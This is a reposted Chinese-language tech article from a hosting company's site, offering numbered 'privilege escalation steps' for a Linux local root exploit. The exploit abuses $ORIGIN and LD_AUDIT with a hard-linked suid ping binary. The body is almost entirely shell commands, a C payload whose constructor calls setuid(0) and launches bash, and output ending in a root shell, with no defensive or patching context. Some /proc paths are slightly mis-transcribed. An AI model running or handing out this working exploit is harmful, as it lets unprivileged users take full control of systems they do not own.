快速业务通道

Linux2.6内核本地提权

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-04-02

提权步骤:

  1. $ mkdir /tmp/exploit
  2. # Link to an suid binary, thus changing the definition of $ORIGIN.
  3. $ ln /bin/ping /tmp/exploit/target
  4. # Open a file descriptor to the target binary (note: some users are surprised
  5. # to learn exec can be used to manipulate the redirections of the current
  6. # shell if a command is not specified. This is what is happening below).
  7. $ exec 3< /tmp/exploit/target
  8. # This descriptor should now be accessible via /proc.
  9. $ ls -l /proc/$/fd/3
  10. lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
  11. # Remove the directory previously created
  12. $ rm -rf /tmp/exploit/
  13. # The /proc link should still exist, but now will be marked deleted.
  14. $ ls -l /proc/$/fd/3
  15. lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
  16. # Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().
  17. $ cat > payload.c
  18. void __attribute__((constructor)) init()
  19. {
  20. setuid(0);
  21. system("/bin/bash");
  22. }
  23. ^D
  24. $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
  25. $ ls -l /tmp/exploit
  26. -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
  27. # Now force the link in /proc to load $ORIGIN via LD_AUDIT.
  28. $ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
  29. sh-4.1# whoami
  30. root

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号